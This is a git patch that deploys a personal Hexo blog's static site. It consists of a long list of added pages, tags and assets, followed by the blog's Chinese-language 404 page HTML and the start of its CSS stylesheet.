From ab7d0863934b99aa64a67c0eeb95242983be14d3 Mon Sep 17 00:00:00 2001 From: GamerNoTitle Date: Tue, 30 May 2023 03:43:40 +0000 Subject: [PATCH] Deploy with Github Action --- 404.html | 98 + 404css/style.css | 638 + 404js/jquery.min.js | 5 + 404js/parallax.min.js | 2 + 404js/script.js | 3 + 5AM-Onedrive-Guide/index.html | 370 + 666/index.html | 568 + 666/index.md.bak | 637 + About/index.html | 319 + BingSiteAuth.xml | 4 + CNAME | 1 + Dynamics/index.html | 326 + Gallery/Chemistry-Experiments/index.html | 322 + Gallery/Elaina/index.html | 317 + Gallery/HK/index.html | 319 + Gallery/SCARLET-NEXUS/index.html | 312 + Gallery/index.html | 360 + Music/index.html | 346 + README.md | 16 + SSR-Usage/index.md.bak | 148 + ads.txt | 1 + archives/2019/07/index.html | 263 + archives/2019/08/index.html | 263 + archives/2019/09/index.html | 263 + archives/2019/10/index.html | 263 + archives/2019/11/index.html | 263 + archives/2019/index.html | 263 + archives/2019/page/2/index.html | 263 + archives/2020/01/index.html | 263 + archives/2020/02/index.html | 263 + archives/2020/03/index.html | 263 + archives/2020/04/index.html | 263 + archives/2020/05/index.html | 263 + archives/2020/07/index.html | 263 + archives/2020/09/index.html | 263 + archives/2020/11/index.html | 263 + archives/2020/12/index.html | 263 + archives/2020/index.html | 263 + archives/2020/page/2/index.html | 263 + archives/2020/page/3/index.html | 263 + archives/2021/05/index.html | 263 + archives/2021/06/index.html | 263 + archives/2021/08/index.html | 263 + archives/2021/11/index.html | 263 + archives/2021/index.html | 263 + archives/2022/02/index.html | 263 + archives/2022/03/index.html | 263 + archives/2022/04/index.html | 263 + archives/2022/05/index.html | 263 + archives/2022/06/index.html | 263 + archives/2022/07/index.html | 263 + archives/2022/08/index.html | 263 + archives/2022/10/index.html | 263 + archives/2022/11/index.html | 263 + archives/2022/12/index.html | 263 + archives/2022/index.html | 263 + archives/2022/page/2/index.html | 263 + archives/2022/page/3/index.html | 263 + archives/2022/page/4/index.html | 263 + archives/2023/01/index.html | 263 + archives/2023/02/index.html | 263 + archives/2023/03/index.html | 263 + archives/2023/04/index.html | 263 + archives/2023/05/index.html | 263 + archives/2023/index.html | 263 + archives/index.html | 263 + archives/page/10/index.html | 263 + archives/page/2/index.html | 263 + archives/page/3/index.html | 263 + archives/page/4/index.html | 263 + archives/page/5/index.html | 263 + archives/page/6/index.html | 263 + archives/page/7/index.html | 263 + archives/page/8/index.html | 263 + archives/page/9/index.html | 263 + assets/css/APlayer.min.css | 3 + assets/js/APlayer.min.js | 2 + assets/js/Meting.min.js | 1 + atom.xml | 551 + baidu_urls.txt | 91 + baidusitemap.xml | 367 + bangumis/index.html | 25087 ++++++++++++++++ biliroaming/index.html | 125 + categories/CTF/index.html | 388 + categories/Coding/index.html | 402 + categories/Diary/index.html | 282 + categories/Games/index.html | 273 + categories/IoT/index.html | 274 + categories/MATLAB/index.html | 281 + categories/Software/index.html | 388 + categories/Software/page/2/index.html | 401 + categories/Software/page/3/index.html | 277 + categories/Tech/index.html | 420 + categories/Tech/page/2/index.html | 361 + categories/Tech/page/3/index.html | 423 + categories/Tech/page/4/index.html | 294 + categories/diary/index.html | 352 + categories/diary/page/2/index.html | 269 + categories/index.html | 311 + css/index.css | 5671 ++++ css/twikoo-height.css | 5 + placeholder => css/var.css | 0 img/404.jpg | Bin 0 -> 16393 bytes img/666/6.jpg | Bin 0 -> 101657 bytes img/666/GoodLuck.jpg | Bin 0 -> 566992 bytes img/bangumi-loading.gif | Bin 0 -> 4788 bytes img/favicon.png | Bin 0 -> 323 bytes img/friend_404.gif | Bin 0 -> 65097 bytes index.html | 396 + js/301Redirect.js | 6 + js/main.js | 778 + js/search/algolia.js | 163 + js/search/local-search.js | 188 + js/tw_cn.js | 100 + js/utils.js | 278 + link/index.html | 853 + page/10/index.html | 299 + page/2/index.html | 415 + page/3/index.html | 439 + page/4/index.html | 382 + page/5/index.html | 417 + page/6/index.html | 396 + page/7/index.html | 463 + page/8/index.html | 395 + page/9/index.html | 402 + posts/301Redirect/index.html | 354 + posts/API-FLASK/index.html | 358 + posts/BaiduNetDisk-Limit-Break/index.html | 338 + posts/CSGO-Anti-LowViolence/index.html | 317 + posts/CSGO-Server/index.html | 504 + posts/CTF-20220529/index.html | 321 + posts/CTF-20220619/index.html | 391 + .../index.html | 329 + posts/CTF-in-College-1/index.html | 324 + posts/CTF-in-College-2/index.html | 354 + posts/CTF-in-College-3/index.html | 358 + posts/CTF-in-College-4/index.html | 371 + posts/CTF-in-College-5/index.html | 373 + posts/CTF-in-College-6/index.html | 366 + posts/CTF-in-College-7/index.html | 344 + posts/CloudFlare-Workers-Section1/index.html | 335 + posts/CloudFlare-Workers/index.html | 336 + posts/Cloudflare-Workers-Section2/index.html | 340 + posts/Custom-Wechat-Pusher/index.html | 439 + .../index.html | 527 + .../index.html | 333 + posts/Enchance-my-Surface-Pro-5/index.html | 379 + posts/FODI/index.html | 345 + posts/Fight-against-COVID19/index.html | 345 + posts/Full-use-of-replit/index.html | 339 + posts/Github-Basic/index.html | 394 + posts/Go-for-Python-Ch1/index.html | 459 + posts/Go-for-Python-Ch2/index.html | 353 + posts/Go-for-Python-Ch3/index.html | 335 + posts/Go-for-Python-Ch4/index.html | 337 + posts/Go-for-Python-Ch5/index.html | 333 + posts/Go-for-Python-Ch6/index.html | 374 + posts/Go-for-Python-Ch7/index.html | 333 + posts/Go-for-Python-Ch8/index.html | 311 + posts/Go-for-Python-Ch9/index.html | 397 + posts/Hitokoto-Spider/index.html | 475 + posts/ID-History/index.html | 337 + posts/INVAXION-Unlock-Log/index.html | 346 + .../index.html | 315 + .../index.html | 340 + posts/MATLAB20211125/index.html | 353 + posts/MATLAB20211126/index.html | 403 + posts/MCDR-Mirror-Server-Usage/index.html | 387 + posts/MCDR-Usage/index.html | 396 + posts/MHYY-AutoCheckin-Manual/index.html | 468 + .../index.html | 329 + posts/Making-GUI-with-PyQt5/index.html | 309 + .../index.html | 353 + posts/Move-your-wsa-data/index.html | 318 + posts/My-Office365-is-Down/index.html | 311 + posts/Netease-Comment-Spider/index.html | 369 + posts/NeteaseCloudGameFree/index.html | 379 + posts/NeteaseMusicDownload/index.html | 324 + posts/Office365-Renew-Project/index.html | 366 + posts/Office365/index.html | 341 + posts/Pixiv-Nginx/index.html | 353 + posts/Pycharm-Unlimited-Evaluate/index.html | 321 + posts/Raspberry-4B-Log/index.html | 343 + .../index.html | 402 + posts/Steam-Artwork/index.html | 349 + posts/SteamAutoQueue-Manual/index.html | 365 + posts/Teamspeak-Server/index.html | 356 + posts/Ticwatch-pro-3-experience/index.html | 380 + posts/Unblock163Music/index.html | 326 + posts/Update-Python-on-my-server/index.html | 336 + posts/Use-telegram-with-pagermaid/index.html | 365 + posts/Valine-Admin/index.html | 411 + posts/Valine-Customize/index.html | 368 + posts/Valine-Magic/index.html | 491 + posts/Valorant-Shop-with-API/index.html | 613 + posts/Why-my-sudo-is-so-slow/index.html | 312 + posts/Windows-Setup/index.html | 342 + posts/Windows10-Beautify/index.html | 352 + posts/biliRoaming/index.html | 336 + posts/butterfly-customize/index.html | 589 + posts/cmder/index.html | 353 + posts/diary1/index.html | 310 + posts/diary10/index.html | 320 + posts/diary2/index.html | 309 + posts/diary3/index.html | 470 + posts/diary4/index.html | 320 + posts/diary5/index.html | 327 + posts/diary6/index.html | 318 + posts/diary7/index.html | 333 + posts/diary8/index.html | 351 + posts/diary9/index.html | 326 + posts/hexo-deploy-guide/index.html | 445 + posts/jsDelivr-Usage/index.html | 354 + posts/lanqiao-2022-province/index.html | 455 + posts/srs/index.html | 422 + posts/vercel-reverse-proxy/index.html | 337 + robots.txt | 11 + search.xml | 2556 ++ sitemap.xml | 1834 ++ steamgames/index.html | 604 + submit_urls.txt | 50 + svg/dribbble.svg | 5 + svg/link.svg | 8 + svg/linkedin.svg | 6 + svg/logo_white.svg | 6 + tags/API/index.html | 285 + tags/Action/index.html | 271 + tags/AntiLowViolence/index.html | 273 + tags/Aria2/index.html | 270 + tags/BT/index.html | 275 + tags/Baidu/index.html | 270 + tags/BaiduNetdisk/index.html | 270 + tags/CDN/index.html | 297 + tags/COVID19/index.html | 266 + tags/CSGO/index.html | 284 + tags/CTF/index.html | 388 + tags/Class/index.html | 271 + tags/Cloud-Function/index.html | 274 + tags/Cloudflare/index.html | 311 + tags/CobaltStrike/index.html | 284 + tags/Coding/index.html | 402 + tags/Crypto/index.html | 288 + tags/Customize/index.html | 345 + tags/Diary/index.html | 282 + tags/Download/index.html | 275 + tags/Dynamic/index.html | 293 + tags/FODI/index.html | 267 + tags/Flask/index.html | 285 + tags/FydeOS/index.html | 274 + tags/Game/index.html | 285 + tags/GameServer/index.html | 274 + tags/Games/index.html | 273 + tags/Gcore/index.html | 284 + tags/Github-Pages/index.html | 278 + tags/Github/index.html | 294 + tags/HID/index.html | 278 + tags/HUAWEI-Watch/index.html | 267 + tags/Hash/index.html | 280 + tags/Hexo/index.html | 278 + tags/Host/index.html | 366 + tags/IoT/index.html | 274 + tags/JSProxy/index.html | 311 + tags/Linux/index.html | 274 + tags/MATLAB/index.html | 281 + tags/Morse/index.html | 271 + tags/NAS/index.html | 270 + tags/Netease/index.html | 291 + tags/Noob/index.html | 271 + tags/Notification/index.html | 269 + tags/Office365/index.html | 292 + tags/Onedrive/index.html | 267 + tags/Optimize/index.html | 285 + tags/PerfectWorld/index.html | 273 + tags/Powershell/index.html | 278 + tags/Proxy/index.html | 276 + tags/Python/index.html | 393 + tags/Queue/index.html | 267 + tags/Raspberry/index.html | 274 + tags/Regedit/index.html | 277 + tags/SEO/index.html | 285 + tags/SSRF/index.html | 283 + tags/Save/index.html | 277 + tags/Script/index.html | 315 + tags/Sec/index.html | 282 + tags/Serverless/index.html | 297 + tags/Smart-Watch/index.html | 267 + tags/Software/index.html | 398 + tags/Software/page/2/index.html | 395 + tags/Software/page/3/index.html | 287 + tags/Spider/index.html | 268 + tags/Stack/index.html | 271 + tags/Steam/index.html | 289 + tags/String/index.html | 269 + tags/Surface/index.html | 274 + tags/Synology/index.html | 282 + tags/Teamspeak/index.html | 275 + tags/Tech/index.html | 412 + tags/Tech/page/2/index.html | 382 + tags/Tech/page/3/index.html | 385 + tags/Theme/index.html | 280 + tags/Ticwatch/index.html | 279 + tags/Trojan/index.html | 269 + tags/Tutorial/index.html | 275 + tags/Ubuntu/index.html | 274 + tags/Valine/index.html | 297 + tags/Valorant/index.html | 269 + tags/Vercel/index.html | 276 + tags/Virus/index.html | 277 + tags/WIFI/index.html | 279 + tags/Warframe/index.html | 271 + tags/Web/index.html | 283 + tags/Webmaster/index.html | 285 + tags/Windows/index.html | 274 + tags/adb/index.html | 279 + tags/aircrack/index.html | 279 + tags/apk/index.html | 287 + tags/biliRoaming/index.html | 339 + tags/datatype/index.html | 317 + tags/decompile/index.html | 272 + tags/diary/index.html | 352 + tags/diary/page/2/index.html | 269 + tags/emoji/index.html | 293 + tags/experience/index.html | 266 + tags/flyio/index.html | 328 + tags/hardlink/index.html | 269 + tags/index.html | 311 + tags/jsdelivr/index.html | 297 + tags/linux-surface/index.html | 274 + tags/live/index.html | 282 + tags/mail/index.html | 269 + tags/meme/index.html | 293 + tags/message/index.html | 269 + tags/msfconsole/index.html | 280 + tags/msfvenom/index.html | 271 + tags/railway/index.html | 269 + tags/raspberry/index.html | 270 + tags/reverse/index.html | 272 + tags/school/index.html | 279 + tags/stream/index.html | 282 + tags/wechat/index.html | 269 + .../index.html" | 273 + .../index.html" | 273 + "tags/\347\274\226\350\257\221/index.html" | 273 + tencent4061228047974157763.txt | 1 + unlock-music/index.html | 315 + v2ray-Usage/index.md.bak | 82 + volunteer/index.md.bak | 67 + 347 files changed, 136141 insertions(+) create mode 100644 404.html create mode 100644 404css/style.css create mode 100644 404js/jquery.min.js create mode 100644 404js/parallax.min.js create mode 100644 404js/script.js create mode 100644 5AM-Onedrive-Guide/index.html create mode 100644 666/index.html create mode 100644 666/index.md.bak create mode 100644 About/index.html create mode 100644 BingSiteAuth.xml create mode 100644 CNAME create mode 100644 Dynamics/index.html create mode 100644 Gallery/Chemistry-Experiments/index.html create mode 100644 Gallery/Elaina/index.html create mode 100644 Gallery/HK/index.html create mode 100644 Gallery/SCARLET-NEXUS/index.html create mode 100644 Gallery/index.html create mode 100644 Music/index.html create mode 100644 README.md create mode 100644 SSR-Usage/index.md.bak create mode 100644 ads.txt create mode 100644 archives/2019/07/index.html create mode 100644 archives/2019/08/index.html create mode 100644 archives/2019/09/index.html create mode 100644 archives/2019/10/index.html create mode 100644 archives/2019/11/index.html create mode 100644 archives/2019/index.html create mode 100644 archives/2019/page/2/index.html create mode 100644 archives/2020/01/index.html create mode 100644 archives/2020/02/index.html create mode 100644 archives/2020/03/index.html create mode 100644 archives/2020/04/index.html create mode 100644 archives/2020/05/index.html create mode 100644 archives/2020/07/index.html create mode 100644 archives/2020/09/index.html create mode 100644 archives/2020/11/index.html create mode 100644 archives/2020/12/index.html create mode 100644 archives/2020/index.html create mode 100644 archives/2020/page/2/index.html create mode 100644 archives/2020/page/3/index.html create mode 100644 archives/2021/05/index.html create mode 100644 archives/2021/06/index.html create mode 100644 archives/2021/08/index.html create mode 100644 archives/2021/11/index.html create mode 100644 archives/2021/index.html create mode 100644 archives/2022/02/index.html create mode 100644 archives/2022/03/index.html create mode 100644 archives/2022/04/index.html create mode 100644 archives/2022/05/index.html create mode 100644 archives/2022/06/index.html create mode 100644 archives/2022/07/index.html create mode 100644 archives/2022/08/index.html create mode 100644 archives/2022/10/index.html create mode 100644 archives/2022/11/index.html create mode 100644 archives/2022/12/index.html create mode 100644 archives/2022/index.html create mode 100644 archives/2022/page/2/index.html create mode 100644 archives/2022/page/3/index.html create mode 100644 archives/2022/page/4/index.html create mode 100644 archives/2023/01/index.html create mode 100644 archives/2023/02/index.html create mode 100644 archives/2023/03/index.html create mode 100644 archives/2023/04/index.html create mode 100644 archives/2023/05/index.html create mode 100644 archives/2023/index.html create mode 100644 archives/index.html create mode 100644 archives/page/10/index.html create mode 100644 archives/page/2/index.html create mode 100644 archives/page/3/index.html create mode 100644 archives/page/4/index.html create mode 100644 archives/page/5/index.html create mode 100644 archives/page/6/index.html create mode 100644 archives/page/7/index.html create mode 100644 archives/page/8/index.html create mode 100644 archives/page/9/index.html create mode 100644 assets/css/APlayer.min.css create mode 100644 assets/js/APlayer.min.js create mode 100644 assets/js/Meting.min.js create mode 100644 atom.xml create mode 100644 baidu_urls.txt create mode 100644 baidusitemap.xml create mode 100644 bangumis/index.html create mode 100644 biliroaming/index.html create mode 100644 categories/CTF/index.html create mode 100644 categories/Coding/index.html create mode 100644 categories/Diary/index.html create mode 100644 categories/Games/index.html create mode 100644 categories/IoT/index.html create mode 100644 categories/MATLAB/index.html create mode 100644 categories/Software/index.html create mode 100644 categories/Software/page/2/index.html create mode 100644 categories/Software/page/3/index.html create mode 100644 categories/Tech/index.html create mode 100644 categories/Tech/page/2/index.html create mode 100644 categories/Tech/page/3/index.html create mode 100644 categories/Tech/page/4/index.html create mode 100644 categories/diary/index.html create mode 100644 categories/diary/page/2/index.html create mode 100644 categories/index.html create mode 100644 css/index.css create mode 100644 css/twikoo-height.css rename placeholder => css/var.css (100%) create mode 100644 img/404.jpg create mode 100644 img/666/6.jpg create mode 100644 img/666/GoodLuck.jpg create mode 100644 img/bangumi-loading.gif create mode 100644 img/favicon.png create mode 100644 img/friend_404.gif create mode 100644 index.html create mode 100644 js/301Redirect.js create mode 100644 js/main.js create mode 100644 js/search/algolia.js create mode 100644 js/search/local-search.js create mode 100644 js/tw_cn.js create mode 100644 js/utils.js create mode 100644 link/index.html create mode 100644 page/10/index.html create mode 100644 page/2/index.html create mode 100644 page/3/index.html create mode 100644 page/4/index.html create mode 100644 page/5/index.html create mode 100644 page/6/index.html create mode 100644 page/7/index.html create mode 100644 page/8/index.html create mode 100644 page/9/index.html create mode 100644 posts/301Redirect/index.html create mode 100644 posts/API-FLASK/index.html create mode 100644 posts/BaiduNetDisk-Limit-Break/index.html create mode 100644 posts/CSGO-Anti-LowViolence/index.html create mode 100644 posts/CSGO-Server/index.html create mode 100644 posts/CTF-20220529/index.html create mode 100644 posts/CTF-20220619/index.html create mode 100644 posts/CTF-20220826-wangdingcup-qinglong/index.html create mode 100644 posts/CTF-in-College-1/index.html create mode 100644 posts/CTF-in-College-2/index.html create mode 100644 posts/CTF-in-College-3/index.html create mode 100644 posts/CTF-in-College-4/index.html create mode 100644 posts/CTF-in-College-5/index.html create mode 100644 posts/CTF-in-College-6/index.html create mode 100644 posts/CTF-in-College-7/index.html create mode 100644 posts/CloudFlare-Workers-Section1/index.html create mode 100644 posts/CloudFlare-Workers/index.html create mode 100644 posts/Cloudflare-Workers-Section2/index.html create mode 100644 posts/Custom-Wechat-Pusher/index.html create mode 100644 posts/Deploy-biliroaming-go-server-with-flyio/index.html create mode 100644 posts/Deploy-biliroaming-typescript-server-with-vercel/index.html create mode 100644 posts/Enchance-my-Surface-Pro-5/index.html create mode 100644 posts/FODI/index.html create mode 100644 posts/Fight-against-COVID19/index.html create mode 100644 posts/Full-use-of-replit/index.html create mode 100644 posts/Github-Basic/index.html create mode 100644 posts/Go-for-Python-Ch1/index.html create mode 100644 posts/Go-for-Python-Ch2/index.html create mode 100644 posts/Go-for-Python-Ch3/index.html create mode 100644 posts/Go-for-Python-Ch4/index.html create mode 100644 posts/Go-for-Python-Ch5/index.html create mode 100644 posts/Go-for-Python-Ch6/index.html create mode 100644 posts/Go-for-Python-Ch7/index.html create mode 100644 posts/Go-for-Python-Ch8/index.html create mode 100644 posts/Go-for-Python-Ch9/index.html create mode 100644 posts/Hitokoto-Spider/index.html create mode 100644 posts/ID-History/index.html create mode 100644 posts/INVAXION-Unlock-Log/index.html create mode 100644 posts/Install-apk-on-HUAWEI-Watch-Pro-3/index.html create mode 100644 posts/Install-black-synology-NAS-on-previous-PC/index.html create mode 100644 posts/MATLAB20211125/index.html create mode 100644 posts/MATLAB20211126/index.html create mode 100644 posts/MCDR-Mirror-Server-Usage/index.html create mode 100644 posts/MCDR-Usage/index.html create mode 100644 posts/MHYY-AutoCheckin-Manual/index.html create mode 100644 posts/Make-Synology-NAS-to-BT-Downloader/index.html create mode 100644 posts/Making-GUI-with-PyQt5/index.html create mode 100644 posts/Migrate-jsdelivr-mirror-to-Gcore/index.html create mode 100644 posts/Move-your-wsa-data/index.html create mode 100644 posts/My-Office365-is-Down/index.html create mode 100644 posts/Netease-Comment-Spider/index.html create mode 100644 posts/NeteaseCloudGameFree/index.html create mode 100644 posts/NeteaseMusicDownload/index.html create mode 100644 posts/Office365-Renew-Project/index.html create mode 100644 posts/Office365/index.html create mode 100644 posts/Pixiv-Nginx/index.html create mode 100644 posts/Pycharm-Unlimited-Evaluate/index.html create mode 100644 posts/Raspberry-4B-Log/index.html create mode 100644 posts/Stable-diffusion-webui-discovery/index.html create mode 100644 posts/Steam-Artwork/index.html create mode 100644 posts/SteamAutoQueue-Manual/index.html create mode 100644 posts/Teamspeak-Server/index.html create mode 100644 posts/Ticwatch-pro-3-experience/index.html create mode 100644 posts/Unblock163Music/index.html create mode 100644 posts/Update-Python-on-my-server/index.html create mode 100644 posts/Use-telegram-with-pagermaid/index.html create mode 100644 posts/Valine-Admin/index.html create mode 100644 posts/Valine-Customize/index.html create mode 100644 posts/Valine-Magic/index.html create mode 100644 posts/Valorant-Shop-with-API/index.html create mode 100644 posts/Why-my-sudo-is-so-slow/index.html create mode 100644 posts/Windows-Setup/index.html create mode 100644 posts/Windows10-Beautify/index.html create mode 100644 posts/biliRoaming/index.html create mode 100644 posts/butterfly-customize/index.html create mode 100644 posts/cmder/index.html create mode 100644 posts/diary1/index.html create mode 100644 posts/diary10/index.html create mode 100644 posts/diary2/index.html create mode 100644 posts/diary3/index.html create mode 100644 posts/diary4/index.html create mode 100644 posts/diary5/index.html create mode 100644 posts/diary6/index.html create mode 100644 posts/diary7/index.html create mode 100644 posts/diary8/index.html create mode 100644 posts/diary9/index.html create mode 100644 posts/hexo-deploy-guide/index.html create mode 100644 posts/jsDelivr-Usage/index.html create mode 100644 posts/lanqiao-2022-province/index.html create mode 100644 posts/srs/index.html create mode 100644 posts/vercel-reverse-proxy/index.html create mode 100644 robots.txt create mode 100644 search.xml create mode 100644 sitemap.xml create mode 100644 steamgames/index.html create mode 100644 submit_urls.txt create mode 100644 svg/dribbble.svg create mode 100644 svg/link.svg create mode 100644 svg/linkedin.svg create mode 100644 svg/logo_white.svg create mode 100644 tags/API/index.html create mode 100644 tags/Action/index.html create mode 100644 tags/AntiLowViolence/index.html create mode 100644 tags/Aria2/index.html create mode 100644 tags/BT/index.html create mode 100644 tags/Baidu/index.html create mode 100644 tags/BaiduNetdisk/index.html create mode 100644 tags/CDN/index.html create mode 100644 tags/COVID19/index.html create mode 100644 tags/CSGO/index.html create mode 100644 tags/CTF/index.html create mode 100644 tags/Class/index.html create mode 100644 tags/Cloud-Function/index.html create mode 100644 tags/Cloudflare/index.html create mode 100644 tags/CobaltStrike/index.html create mode 100644 tags/Coding/index.html create mode 100644 tags/Crypto/index.html create mode 100644 tags/Customize/index.html create mode 100644 tags/Diary/index.html create mode 100644 tags/Download/index.html create mode 100644 tags/Dynamic/index.html create mode 100644 tags/FODI/index.html create mode 100644 tags/Flask/index.html create mode 100644 tags/FydeOS/index.html create mode 100644 tags/Game/index.html create mode 100644 tags/GameServer/index.html create mode 100644 tags/Games/index.html create mode 100644 tags/Gcore/index.html create mode 100644 tags/Github-Pages/index.html create mode 100644 tags/Github/index.html create mode 100644 tags/HID/index.html create mode 100644 tags/HUAWEI-Watch/index.html create mode 100644 tags/Hash/index.html create mode 100644 tags/Hexo/index.html create mode 100644 tags/Host/index.html create mode 100644 tags/IoT/index.html create mode 100644 tags/JSProxy/index.html create mode 100644 tags/Linux/index.html create mode 100644 tags/MATLAB/index.html create mode 100644 tags/Morse/index.html create mode 100644 tags/NAS/index.html create mode 100644 tags/Netease/index.html create mode 100644 tags/Noob/index.html create mode 100644 tags/Notification/index.html create mode 100644 tags/Office365/index.html create mode 100644 tags/Onedrive/index.html create mode 100644 tags/Optimize/index.html create mode 100644 tags/PerfectWorld/index.html create mode 100644 tags/Powershell/index.html create mode 100644 tags/Proxy/index.html create mode 100644 tags/Python/index.html create mode 100644 tags/Queue/index.html create mode 100644 tags/Raspberry/index.html create mode 100644 tags/Regedit/index.html create mode 100644 tags/SEO/index.html create mode 100644 tags/SSRF/index.html create mode 100644 tags/Save/index.html create mode 100644 tags/Script/index.html create mode 100644 tags/Sec/index.html create mode 100644 tags/Serverless/index.html create mode 100644 tags/Smart-Watch/index.html create mode 100644 tags/Software/index.html create mode 100644 tags/Software/page/2/index.html create mode 100644 tags/Software/page/3/index.html create mode 100644 tags/Spider/index.html create mode 100644 tags/Stack/index.html create mode 100644 tags/Steam/index.html create mode 100644 tags/String/index.html create mode 100644 tags/Surface/index.html create mode 100644 tags/Synology/index.html create mode 100644 tags/Teamspeak/index.html create mode 100644 tags/Tech/index.html create mode 100644 tags/Tech/page/2/index.html create mode 100644 tags/Tech/page/3/index.html create mode 100644 tags/Theme/index.html create mode 100644 tags/Ticwatch/index.html create mode 100644 tags/Trojan/index.html create mode 100644 tags/Tutorial/index.html create mode 100644 tags/Ubuntu/index.html create mode 100644 tags/Valine/index.html create mode 100644 tags/Valorant/index.html create mode 100644 tags/Vercel/index.html create mode 100644 tags/Virus/index.html create mode 100644 tags/WIFI/index.html create mode 100644 tags/Warframe/index.html create mode 100644 tags/Web/index.html create mode 100644 tags/Webmaster/index.html create mode 100644 tags/Windows/index.html create mode 100644 tags/adb/index.html create mode 100644 tags/aircrack/index.html create mode 100644 tags/apk/index.html create mode 100644 tags/biliRoaming/index.html create mode 100644 tags/datatype/index.html create mode 100644 tags/decompile/index.html create mode 100644 tags/diary/index.html create mode 100644 tags/diary/page/2/index.html create mode 100644 tags/emoji/index.html create mode 100644 tags/experience/index.html create mode 100644 tags/flyio/index.html create mode 100644 tags/hardlink/index.html create mode 100644 tags/index.html create mode 100644 tags/jsdelivr/index.html create mode 100644 tags/linux-surface/index.html create mode 100644 tags/live/index.html create mode 100644 tags/mail/index.html create mode 100644 tags/meme/index.html create mode 100644 tags/message/index.html create mode 100644 tags/msfconsole/index.html create mode 100644 tags/msfvenom/index.html create mode 100644 tags/railway/index.html create mode 100644 tags/raspberry/index.html create mode 100644 tags/reverse/index.html create mode 100644 tags/school/index.html create mode 100644 tags/stream/index.html create mode 100644 tags/wechat/index.html create mode 100644 "tags/\346\233\264\346\226\260Python/index.html" create mode 100644 "tags/\346\234\215\345\212\241\345\231\250\350\277\220\347\273\264/index.html" create mode 100644 "tags/\347\274\226\350\257\221/index.html" create mode 100644 tencent4061228047974157763.txt create mode 100644 unlock-music/index.html create mode 100644 v2ray-Usage/index.md.bak create mode 100644 volunteer/index.md.bak diff --git a/404.html b/404.html new file mode 100644 index 0000000000..79912dabce --- /dev/null +++ b/404.html @@ -0,0 +1,98 @@ + + + + +页面找不到了 | GamerNoTitle + + + + + + + + + + + +
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ +
+
+ + + +
+
+ +
+
+ + + +
+
+ +

404

+

404

+ +
+ +
+
+

+ 发生错误啦!
+ 你访问的页面找不到了
+ 如果你访问的是文章且地址中仍然为日期格式,请把其中的日期改为/posts/,例如
+ https://bili33.top/2021/06/14/301Redirect/ -> https://bili33.top/posts/301Redirect/ +

+ +
+
+ +
+
+ + + + + + + \ No newline at end of file diff --git a/404css/style.css b/404css/style.css new file mode 100644 index 0000000000..2a1df40fad --- /dev/null +++ b/404css/style.css @@ -0,0 +1,638 @@ + +@import url("https://fonts.googleapis.com/css?family=Barlow+Condensed:300,400,500,600,700,800,900|Barlow:300,400,500,600,700,800,900&display=swap"); + +*{margin:0;padding:0;} +body{overflow:hidden;} + +.about { + position: fixed; + z-index: 10; + bottom: 10px; + right: 10px; + width: 40px; + height: 40px; + display: flex; + justify-content: flex-end; + align-items: flex-end; + transition: all 0.2s ease; +} +.about .bg_links { + width: 40px; + height: 40px; + border-radius: 100%; + display: flex; + justify-content: center; + align-items: center; + background-color: rgba(0, 0, 0, 0.2); + border-radius: 100%; + backdrop-filter: blur(5px); + position: absolute; +} +.about .logo { + width: 40px; + height: 40px; + z-index: 9; + background-image: url(../svg/logo_white.svg); + background-size: 50%; + background-repeat: no-repeat; + background-position: 10px 7px; + opacity: 0.9; + transition: all 1s 0.2s ease; + bottom: 0; + right: 0; +} +.about .social { + opacity: 0; + right: 0; + bottom: 0; +} +.about .social .icon { + width: 100%; + height: 100%; + background-size: 20px; + background-repeat: no-repeat; + background-position: center; + background-color: transparent; + display: flex; + transition: all 0.2s ease, background-color 0.4s ease; + opacity: 0; + border-radius: 100%; +} +.about .social.portfolio { + transition: all 0.8s ease; +} +.about .social.portfolio .icon { + background-image: url(../svg/link.svg); +} +.about .social.dribbble { + transition: all 0.3s ease; +} +.about .social.dribbble .icon { + background-image: url(../svg/dribbble.svg); +} +.about .social.linkedin { + transition: all 0.8s ease; +} +.about .social.linkedin .icon { + background-image: url(../svg/linkedin.svg); +} +.about:hover { + width: 105px; + height: 105px; + transition: all 0.6s cubic-bezier(0.64, 0.01, 0.07, 1.65); +} +.about:hover .logo { + opacity: 1; + transition: all 0.6s ease; +} +.about:hover .social { + opacity: 1; +} +.about:hover .social .icon { + opacity: 0.9; +} +.about:hover .social:hover { + background-size: 28px; +} +.about:hover .social:hover .icon { + background-size: 65%; + opacity: 1; +} +.about:hover .social.portfolio { + right: 0; + bottom: calc(100% - 40px); + transition: all 0.3s 0s cubic-bezier(0.64, 0.01, 0.07, 1.65); +} +.about:hover .social.portfolio .icon:hover { + background-color: #698fb7; +} +.about:hover .social.dribbble { + bottom: 45%; + right: 45%; + transition: all 0.3s 0.15s cubic-bezier(0.64, 0.01, 0.07, 1.65); +} +.about:hover .social.dribbble .icon:hover { + background-color: #ea4c89; +} +.about:hover .social.linkedin { + bottom: 0; + right: calc(100% - 40px); + transition: all 0.3s 0.25s cubic-bezier(0.64, 0.01, 0.07, 1.65); +} +.about:hover .social.linkedin .icon:hover { + background-color: #0077b5; +} + +h1, +h2, +h3, +h4, +h5, +h6, +p, +ul, +li, +button, +a, +i, +input, +body { + margin: 0; + padding: 0; + list-style: none; + border: 0; + -webkit-tap-highlight-color: transparent; + text-decoration: none; + color: inherit; +} +h1:focus, +h2:focus, +h3:focus, +h4:focus, +h5:focus, +h6:focus, +p:focus, +ul:focus, +li:focus, +button:focus, +a:focus, +i:focus, +input:focus, +body:focus { + outline: 0; +} + +body { + margin: 0; + padding: 0; + height: auto; + font-family: "Barlow", sans-serif; + background: #695681; +} + +.logo { + position: fixed; + z-index: 5; + bottom: 10px; + right: 10px; + width: 40px; + height: 40px; + border-radius: 100%; + display: flex; + justify-content: center; + align-items: center; + background: rgba(0, 0, 0, 0.1); + border-radius: 100%; + backdrop-filter: blur(5px); +} +.logo img { + width: 55%; + height: 55%; + transform: translateY(-1px); + opacity: 0.8; +} + +nav .menu { + width: 100%; + height: 80px; + position: absolute; + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 5%; + box-sizing: border-box; + z-index: 3; +} +nav .menu .website_name { + color: #695681; + font-weight: 600; + font-size: 20px; + letter-spacing: 1px; + background: white; + padding: 4px 8px; + border-radius: 2px; + opacity: 0.5; + transition: all 0.4s ease; + cursor: pointer; +} +nav .menu .website_name:hover { + opacity: 1; +} +nav .menu .menu_links { + transition: all 0.4s ease; + opacity: 0.5; +} +nav .menu .menu_links:hover { + opacity: 1; +} +@media screen and (max-width: 799px) { + nav .menu .menu_links { + display: none; + } +} +nav 